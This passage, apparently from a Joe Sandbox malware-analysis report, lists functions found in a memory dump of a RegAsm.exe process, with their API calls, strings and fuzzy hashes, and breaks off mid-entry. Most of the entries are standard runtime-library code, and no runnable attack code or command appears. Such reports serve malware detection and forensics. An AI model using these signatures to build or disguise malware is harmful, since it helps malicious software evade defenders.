Part of subcall function 00559C71: EnterCriticalSection.KERNEL32(-00173DB0,?,00555B22,00000000,005898B0,0000000C,00555AEA,?,?,0055D329,?,?,0055B2FF,00000001,00000364,0041C3C8), ref: 00559C80

EnumSystemLocalesW.KERNEL32(0055B788,00000001,00589B70,0000000C,0055BB60,00000000), ref: 0055B7CD

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 43d459858894867ab438d4010171c8c79dd00750bd768c3e6f1ba227e61575e1
Instruction ID: 91c1e2fa5a5d5b55dc86b917b75c0bd7fb3a6a66b60e02916d9c26c404c39d18
Opcode Fuzzy Hash: 43d459858894867ab438d4010171c8c79dd00750bd768c3e6f1ba227e61575e1
Instruction Fuzzy Hash: 79F03C76A40205DFD700DF98E95ABAD7BE0FB84722F10412BF811EB2A1CB7559089F40

Function 00561590 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055B161: GetLastError.KERNEL32(00000000,005540CB,0055E6D2), ref: 0055B165
Part of subcall function 0055B161: SetLastError.KERNEL32(00000000,00000000,-000C5C10,00000006,000000FF), ref: 0055B207

EnumSystemLocalesW.KERNEL32(005614E9,00000001,?,?,?,00561D57,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005615C7

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 277f220c568be318975d1f15fdc6d52a5b677ccbc29e45d1e22619d5d4d59e58
Instruction ID: 5ef1ee6b464b9e889f6e722a29417d3f824c5ba61bf57c3a377cbcc1b13942e0
Opcode Fuzzy Hash: 277f220c568be318975d1f15fdc6d52a5b677ccbc29e45d1e22619d5d4d59e58
Instruction Fuzzy Hash: B0F0553670024597CB049F3AD819A7ABF94FFC2714F0A4059EE068B690CA719842CB54

Function 005410FE Relevance: 1.5, APIs: 1, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,B9D7103C,?,?,0056B57D,000000FF,?,00540DC5,?,?,?,?,0042C4DB), ref: 0054113A

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 585468016efce7be88b6fe704077a68bd25ec5758f68e13aa0f01b7e77a92ce5
Instruction ID: 881736bd9682fbccd9b41867811e0c27e7770b27ab30572ac315ae61ba434e65
Opcode Fuzzy Hash: 585468016efce7be88b6fe704077a68bd25ec5758f68e13aa0f01b7e77a92ce5
Instruction Fuzzy Hash: 8CF0E572A44958EFCB018F44EC04BA9BFA8F708F64F00422AEC12E33A0D774A904DB80

Function 0055BC64 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00557C1C,?,20001004,00000000,00000002,?,?,0055720E), ref: 0055BC98

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: bb9429e0232fbbff0e4e3be30dc214aa290e8663941acf9757ef2ff556115542
Instruction ID: 9d95634347f6586415dede47e7a9a59ec9c73f488e0f00ad68702664d299057b
Opcode Fuzzy Hash: bb9429e0232fbbff0e4e3be30dc214aa290e8663941acf9757ef2ff556115542
Instruction Fuzzy Hash: B7E04F3250021EBBEF122F61ED1DEAE3F2AFF44761F044012FC4566221CF718D24AA95

Function 0051CFA0 Relevance: 1.5, APIs: 1, Instructions: 15encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000,?,?,0051D07B,?,?,0051D309,?,?,00000000), ref: 0051CFB7

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: f99aaac8c9758899443b23d47bd2e6f87f5fee543218b0c6a20bca957a8c697e
Instruction ID: e0b3af4d195b5b83394749476dd92b0af9bfa5c2c4ce3251468456462b152d6b
Opcode Fuzzy Hash: f99aaac8c9758899443b23d47bd2e6f87f5fee543218b0c6a20bca957a8c697e
Instruction Fuzzy Hash: 18D0A770508308EBC704CF88D844F6DBBB9FB45300F1001D8F80457390C7725E00EA91

Function 00545C92 Relevance: 72.1, APIs: 11, Strings: 30, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00545D05
shared_ptr.LIBCMT ref: 00545D4D
shared_ptr.LIBCMT ref: 00545D6C
operator+.LIBVCRUNTIME ref: 00545E9A
DName::operator=.LIBVCRUNTIME ref: 00545EAC
shared_ptr.LIBCMT ref: 005460F1
DName::operator+.LIBCMT ref: 00546133
operator+.LIBVCRUNTIME ref: 00546179

Strings

void, xrefs: 00545D95
UNKNOWN, xrefs: 005460DC
__int16, xrefs: 00545E5B
const, xrefs: 00545F9D
bool, xrefs: 00545EFE
char32_t, xrefs: 00546037
dV, xrefs: 005460EA
short, xrefs: 00545D0F
__int64, xrefs: 00545EE6
double, xrefs: 00545D74
this , xrefs: 00546079
volatile, xrefs: 00545FBB
int, xrefs: 00545D1F
__w64 , xrefs: 00545E88
unsigned , xrefs: 00546112
auto, xrefs: 0054604F
long , xrefs: 00545D5A
volatile, xrefs: 00545FDB
__int128, xrefs: 00545ED3
char8_t, xrefs: 0054601F
__int8, xrefs: 00545E67
char, xrefs: 00545CF0
wchar_t, xrefs: 00546043
long, xrefs: 00545D2F
signed , xrefs: 00545DFA
char16_t, xrefs: 0054602B
float, xrefs: 00545D38
<unknown>, xrefs: 0054600C
__int32, xrefs: 00545EF2
decltype(auto), xrefs: 0054605B

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$dV$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 1464150960-1494216725
Opcode ID: 21be463b586251265eb01d0f0e42a3c3ca968f21d32260108670033e7a6c89c3
Instruction ID: acf287d4f376c31163352b3b7840e981d7b327b9443292a623c51d896e35fce8
Opcode Fuzzy Hash: 21be463b586251265eb01d0f0e42a3c3ca968f21d32260108670033e7a6c89c3
Instruction Fuzzy Hash: 27E17FB5C0420ADBCB04DF94C49D6FEBFB8BB05308F108159E516A7246E7759B49CF92

Function 00549571 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00549647
UnDecorator::getSignedDimension.LIBCMT ref: 00549652
UnDecorator::getSignedDimension.LIBCMT ref: 0054973E
UnDecorator::getSignedDimension.LIBCMT ref: 0054975B
UnDecorator::getSignedDimension.LIBCMT ref: 00549778
DName::operator+.LIBCMT ref: 0054978D
UnDecorator::getSignedDimension.LIBCMT ref: 005497A7
_swprintf.LIBCMTD ref: 00549821
DName::operator+.LIBCMT ref: 0054987C

Part of subcall function 005456B7: DName::DName.LIBVCRUNTIME ref: 00545715

DName::DName.LIBVCRUNTIME ref: 005498F3

Strings

`generic-class-parameter-, xrefs: 00549888
`template-type-parameter-, xrefs: 00549898
`generic-method-parameter-, xrefs: 00549858
lambda, xrefs: 005498DC
nullptr, xrefs: 005498BC
NULL, xrefs: 00549605

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 138750261-2441609178
Opcode ID: 7bbf22d45bb22c61b978c414775a90b62d10326e7c194fc9b486fdc29febad59
Instruction ID: 8849aec5a85f9264faa848e6c5d79539bc9d275267e14b9549b1d0a55f8faa97
Opcode Fuzzy Hash: 7bbf22d45bb22c61b978c414775a90b62d10326e7c194fc9b486fdc29febad59
Instruction Fuzzy Hash: 74919771D4420A96CB19EFB8D99FAFF7F78FF4630CF20041AE102A6186DA759A05CB51

Function 00548A7B Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00548AE6
DName::operator+.LIBCMT ref: 00548C29

Part of subcall function 005446FA: shared_ptr.LIBCMT ref: 00544716

DName::operator+.LIBCMT ref: 00548BD4
DName::operator+.LIBCMT ref: 00548C75
DName::operator+.LIBCMT ref: 00548C84
DName::operator+.LIBCMT ref: 00548DB0
DName::operator=.LIBVCRUNTIME ref: 00548DF0
DName::DName.LIBVCRUNTIME ref: 00548DFA
DName::operator+.LIBCMT ref: 00548E17
DName::operator+.LIBCMT ref: 00548E23

Part of subcall function 0054A315: Replicator::operator[].LIBCMT ref: 0054A352

Strings

`anonymous namespace', xrefs: 00548D35

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: f1b120adc25c380c04f0cdc4b63bd5524a956ba0dad87713d6004c79bed89ecb
Instruction ID: 080c06d942655681048934ac987f7daf6e88fb5ac64c8962bed2c5d9a4b8cf16
Opcode Fuzzy Hash: f1b120adc25c380c04f0cdc4b63bd5524a956ba0dad87713d6004c79bed89ecb
Instruction Fuzzy Hash: 96C1ABB1D402099FDB24DFA4C849BFEBFF8BB69308F144459E545AB281EB749A48CF50

Function 0054A315 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054A352

Strings

kT, xrefs: 0054A3A4
`template-parameter-, xrefs: 0054A3C3
generic-type-, xrefs: 0054A3D8
`generic-type-, xrefs: 0054A3EE
kT, xrefs: 0054A462
template-parameter-, xrefs: 0054A3B1
@, xrefs: 0054A4BE

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$`generic-type-$`template-parameter-$generic-type-$template-parameter-$kT$kT
API String ID: 3676697650-2780004580
Opcode ID: dae4d19fc37ac9c58ca8907ab09ed722ec09f8af86305a2a3ad87ac669e13414
Instruction ID: ad13dfa9309db8e18cde9dd99061e3c30c611d8d1d38d62f72997a12505f5b25
Opcode Fuzzy Hash: dae4d19fc37ac9c58ca8907ab09ed722ec09f8af86305a2a3ad87ac669e13414
Instruction Fuzzy Hash: 1A619271D402099FDB10DFA4D849BEEBFB8BF5D318F104429EA11A7291EB749908CF91

Function 00546EFF Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546F32

Part of subcall function 005446D8: DName::operator+=.LIBCMT ref: 005446EE

Strings

enum , xrefs: 0054701F
cointerface , xrefs: 00546FF3
union , xrefs: 0054706C
class , xrefs: 00547053
coclass , xrefs: 00547003
\V, xrefs: 00546F88, 00547097, 005470A1, 00546F2D
\V, xrefs: 0054707E, 00547086
struct , xrefs: 0054705C
`unknown ecsu', xrefs: 00546F14

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+Name::operator+=
String ID: \V$\V$`unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 382699925-3114403028
Opcode ID: a242f4f0a18f6289258ad722976605b999bf6692bdc102206a51c048e74dd9f7
Instruction ID: a19121eb28e424eb60f169c2cf3550fb9df3625b73e049d23289633f97db1fdc
Opcode Fuzzy Hash: a242f4f0a18f6289258ad722976605b999bf6692bdc102206a51c048e74dd9f7
Instruction Fuzzy Hash: 1F415AB5C0520E9FCF00DFA8D98AAEEBFB4BB49308F104419E509A7241DB719A48DF91

Function 005474E9 Relevance: 19.8, APIs: 13, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005475B2
DName::operator+.LIBCMT ref: 005475EF
DName::DName.LIBVCRUNTIME ref: 00547603
DName::operator+.LIBCMT ref: 00547612
DName::operator+.LIBCMT ref: 005476A0
DName::DName.LIBVCRUNTIME ref: 005476C8
DName::operator+.LIBCMT ref: 005476D6
DName::operator+.LIBCMT ref: 00547710
DName::operator+.LIBCMT ref: 00547751
UnDecorator::getReturnType.LIBCMT ref: 00547781
operator+.LIBVCRUNTIME ref: 00547883

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID:
API String ID: 2932655852-0
Opcode ID: 11eb26577d9353dab76694ceff2201a855fd58fab72666f07d4505a41160d868
Instruction ID: 254286738c75fc76c8e40a3d08d7c470f63727aed01219cb06297ed470083fa4
Opcode Fuzzy Hash: 11eb26577d9353dab76694ceff2201a855fd58fab72666f07d4505a41160d868
Instruction Fuzzy Hash: 3DC16571904209AFCB14DFE8D89AAED7FB5FB5D308F100569F502A7291DB309A45CF50

Function 00548467 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 005484D2
operator+.LIBVCRUNTIME ref: 00548522
shared_ptr.LIBCMT ref: 005485EE
DName::DName.LIBVCRUNTIME ref: 0054861E
operator+.LIBVCRUNTIME ref: 0054867F

Strings

volatile , xrefs: 005484B4, 005485D0
volatile, xrefs: 005484C4, 005485E0
std::nullptr_t , xrefs: 0054866D
std::nullptr_t, xrefs: 00548690

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: 18e5e8801541055b4a3488215f136dd88ebfbf5590bd0a3232b8119f488989d6
Instruction ID: 3c9096b54f3a45493646367d15acf958f3fa4e76ee4606136af07fb0af0d7ef7
Opcode Fuzzy Hash: 18e5e8801541055b4a3488215f136dd88ebfbf5590bd0a3232b8119f488989d6
Instruction Fuzzy Hash: 3261597180420AEECB15DFA8C8489FDBFB4FB5930CF14896AE845DB211EB359A45DF50

Function 005486B5 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 00548718
DName::operator+.LIBCMT ref: 005487D6
operator+.LIBVCRUNTIME ref: 00548815

Strings

void, xrefs: 005486E3
cli::array<, xrefs: 005487B2
void , xrefs: 00548702
std::nullptr_t , xrefs: 0054876C
std::nullptr_t, xrefs: 0054875C
cli::pin_ptr<, xrefs: 005487EC

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: 0aa35d909c69ba2db73145312d4dc4c3afa6c268f734ffaddd0a4a49cf08f27a
Instruction ID: 46b4f66f8015a864801978ebe30acc27a3f14a49f36ef3e3f2713430e51373ee
Opcode Fuzzy Hash: 0aa35d909c69ba2db73145312d4dc4c3afa6c268f734ffaddd0a4a49cf08f27a
Instruction Fuzzy Hash: 1C4144B0904209AFDF11CF94D869BFEBFB4FB05308F148859E515AB251DBB59A88DF80

Function 00545A46 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00545AD4
DName::operator+.LIBCMT ref: 00545B27

Part of subcall function 005446FA: shared_ptr.LIBCMT ref: 00544716

Part of subcall function 00544625: DName::operator+.LIBCMT ref: 00544646

DName::operator+.LIBCMT ref: 00545B18
DName::operator+.LIBCMT ref: 00545B78
DName::operator+.LIBCMT ref: 00545B85
DName::operator+.LIBCMT ref: 00545BCC
DName::operator+.LIBCMT ref: 00545BD9

Strings

HV, xrefs: 00545BBB, 00545BC5

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID: HV
API String ID: 1037112749-1037838562
Opcode ID: fa82d6504414d6af1cf1b51b2c5eca165b343f1953a155ad2427d90064fdc075
Instruction ID: 96f07fa7afd851a5fe5de031d23bdb4b7d09c6530f3ebae06b0044808c3c34f7
Opcode Fuzzy Hash: fa82d6504414d6af1cf1b51b2c5eca165b343f1953a155ad2427d90064fdc075
Instruction Fuzzy Hash: 225171B1D00619AFDB19DB94C899EEEBFB8FF49308F044559F506B7181EB309A44CBA0

Function 00566D13 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0056667F), ref: 00566D2C

Strings

sqrt, xrefs: 00566E6B
pow, xrefs: 00566DCA, 00566E74, 00566EC1
asin, xrefs: 00566E59
log, xrefs: 00566D89, 00566D98
exp, xrefs: 00566DAB, 00566E10
log10, xrefs: 00566D6E, 00566D7D
acos, xrefs: 00566E62

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 07d1eeac657c95f82e356a1100ee0ea14998674f76df911b940fe81cca02a76f
Instruction ID: 86c8fdb9a0b1424c7da59cfd54291430683825bb55baaf2db5e3731b6b69fe1d
Opcode Fuzzy Hash: 07d1eeac657c95f82e356a1100ee0ea14998674f76df911b940fe81cca02a76f
Instruction Fuzzy Hash: 2451BF79900A0ACBCF109F5CE94C5BEBFB8FF09304F104455D491A7268CB768D29EB56

Function 005470A9 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 0054711A
DName::operator+.LIBCMT ref: 00547162
DName::DName.LIBVCRUNTIME ref: 00547192

Strings

int , xrefs: 005470F5
unsigned , xrefs: 00547141
long , xrefs: 00547105
short , xrefs: 005470E5
char , xrefs: 005470DC

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+shared_ptr
String ID: char $int $long $short $unsigned
API String ID: 3919194733-3894466517
Opcode ID: a8f20733773ec5521326918fec6539486146ae50d2d868f2711a2d82c3b109e5
Instruction ID: 9f456416d0fe4edabd9c02b0f80d06d2a669660a24c15e7326b4af6f4fca41a2
Opcode Fuzzy Hash: a8f20733773ec5521326918fec6539486146ae50d2d868f2711a2d82c3b109e5
Instruction Fuzzy Hash: B6211DB0D0424DAFCB04CFA4C9997EDBFB4FB0A309F109959E411AB295D7B49648CF90

Function 00541180 Relevance: 13.7, APIs: 9, Instructions: 154COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,0041F86B,00000000,00000000,B9D7103C,?,?,?,Function_001417F0,00589468,000000FE,?,0041F869,00000001), ref: 00541209
MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,?,00000000,00000000,?,Function_001417F0,00589468,000000FE,?,0041F869), ref: 00541284
#2.OLEAUT32(00000000,?,Function_001417F0,00589468,000000FE,?,0041F869), ref: 0054128F
_com_issue_error.COMSUPP ref: 005412B8
_com_issue_error.COMSUPP ref: 005412C2
GetLastError.KERNEL32(80070057,B9D7103C,?,?,?,Function_001417F0,00589468,000000FE,?,0041F869,00000001), ref: 005412C7
_com_issue_error.COMSUPP ref: 005412DA
GetLastError.KERNEL32(00000000,?,?,?,Function_001417F0,00589468,000000FE,?,0041F869,00000001), ref: 005412F0
_com_issue_error.COMSUPP ref: 00541303

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide
String ID:
API String ID: 251289303-0
Opcode ID: fe60d0f506e54a3d284a6e1f4f6fa9a7219d6602c63a83e73b303a28ba50e7fe
Instruction ID: 7f494ac3d27bf69f3d5824e2e1e32416a29f17e44e9434ca0cb76c3a238af5a5
Opcode Fuzzy Hash: fe60d0f506e54a3d284a6e1f4f6fa9a7219d6602c63a83e73b303a28ba50e7fe
Instruction Fuzzy Hash: 2E411775A04609ABDB10DFA9CC49BEFBFA8FB44758F104229F905E7241D7749840C7A8

Function 005683E0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 00568511
VirtualQuery.KERNEL32(83000000,B9D7103C,0000001C,B9D7103C,?,?,?), ref: 005685F6
__FindPESection.LIBCMT ref: 00568633
__FindPESection.LIBCMT ref: 0056866D

Strings

< Y, xrefs: 00568535
< Y, xrefs: 00568735
< Y, xrefs: 00568682

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID: < Y$< Y$< Y
API String ID: 2992484814-2098822819
Opcode ID: fd214989467c99e4dc529df3f9ab855dc9c7f58fff2cff6d36807dbe6108d24b
Instruction ID: b080363565bd6876be2fc6bb7fa4f5a2ecb2ddf38668180d59064bf265474b0c
Opcode Fuzzy Hash: fd214989467c99e4dc529df3f9ab855dc9c7f58fff2cff6d36807dbe6108d24b
Instruction Fuzzy Hash: C9A1B075A01A169BCB10CF58D9847BDBBB9FB68310F11476AE81AE7391DB31EC44CB90

Function 0054A1C1 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 0054A205
DName::operator+.LIBCMT ref: 0054A211

Part of subcall function 005446FA: shared_ptr.LIBCMT ref: 00544716

DName::operator+=.LIBCMT ref: 0054A2CF

Part of subcall function 00548A7B: DName::operator+.LIBCMT ref: 00548AE6
Part of subcall function 00548A7B: DName::operator+.LIBCMT ref: 00548DB0

Part of subcall function 00544625: DName::operator+.LIBCMT ref: 00544646

DName::operator+.LIBCMT ref: 0054A28C

Part of subcall function 00544752: DName::operator=.LIBVCRUNTIME ref: 00544773

DName::DName.LIBVCRUNTIME ref: 0054A2F3
DName::operator+.LIBCMT ref: 0054A2FF

Strings

{for , xrefs: 0054A238

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: 21e03854e8e9ab2311086c8859bc8ee95fbdcb3841ac4a02e3d62d095bee084c
Instruction ID: c8fdf993c6d33b296c0d19cbb27aeb81dfc3fbe2a5bc4a670bd9f9072c71afb5
Opcode Fuzzy Hash: 21e03854e8e9ab2311086c8859bc8ee95fbdcb3841ac4a02e3d62d095bee084c
Instruction Fuzzy Hash: 664137B0A44244AFDF14DFA8C895BEE7FF9BB4A308F004458E186EB281EB759D44DB15

Function 0054582C Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0054571F: Replicator::operator[].LIBCMT ref: 0054578B

DName::DName.LIBVCRUNTIME ref: 00545878
DName::operator+.LIBCMT ref: 005458BE

Strings

void, xrefs: 00545910
..., xrefs: 005458EF
,<ellipsis>, xrefs: 005458A9
,..., xrefs: 00545899
<ellipsis>, xrefs: 005458FF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: 8cc8a3b2888fb2a3948480eca58a20e8b24dcbfeebeb641ab90b6721e1e4d21b
Instruction ID: f44ff77fd459abfea4e82f02798c6f8e5afaea114a887f96ba325682b428322c
Opcode Fuzzy Hash: 8cc8a3b2888fb2a3948480eca58a20e8b24dcbfeebeb641ab90b6721e1e4d21b
Instruction Fuzzy Hash: F8316D74900A09DFCB05CF98D8546EEBFF0FB09308F508959E956EB252EB749608DF41

Function 00419F50 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00419F62
int.LIBCPMTD ref: 00419F74

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 00419FBB
std::_Lockit::~_Lockit.LIBCPMT ref: 0041A031

Strings

zA, xrefs: 00419F80, 00419FA6, 00419FA9
zA, xrefs: 00419FC8, 00419FDC, 00419FE8, 00419FED, 00419FDF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: zA$zA
API String ID: 3053331623-2891261629
Opcode ID: 204ed668f13528c93b6e0102f8ac09b867e5f6bc5e9b11c73469f80677068c1d
Instruction ID: 10f311eb4db56f784b8704fdf187b4ff2b17a61b1f2064b15f748b38ae596a1c
Opcode Fuzzy Hash: 204ed668f13528c93b6e0102f8ac09b867e5f6bc5e9b11c73469f80677068c1d
Instruction Fuzzy Hash: 0B31B2B4D00209EFCB04DF95D591AEEBBB1BF48304F10856AE815B7390EB34AA45DFA5

Function 00441FB0 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 455memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00442144
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,00000084,00000000,00000006,00000000,0000AA42,00000000), ref: 0044216A
GetLastError.KERNEL32(?,0000AA42,00000000), ref: 0044232E
GetLastError.KERNEL32(?,0000AA42,00000000), ref: 00442604

Strings

j3l6lrek, xrefs: 004422AA, 004422D9, 00442406, 00442435
eks, xrefs: 004421EC, 0044221B, 00442348, 00442377

Memory Dump Source

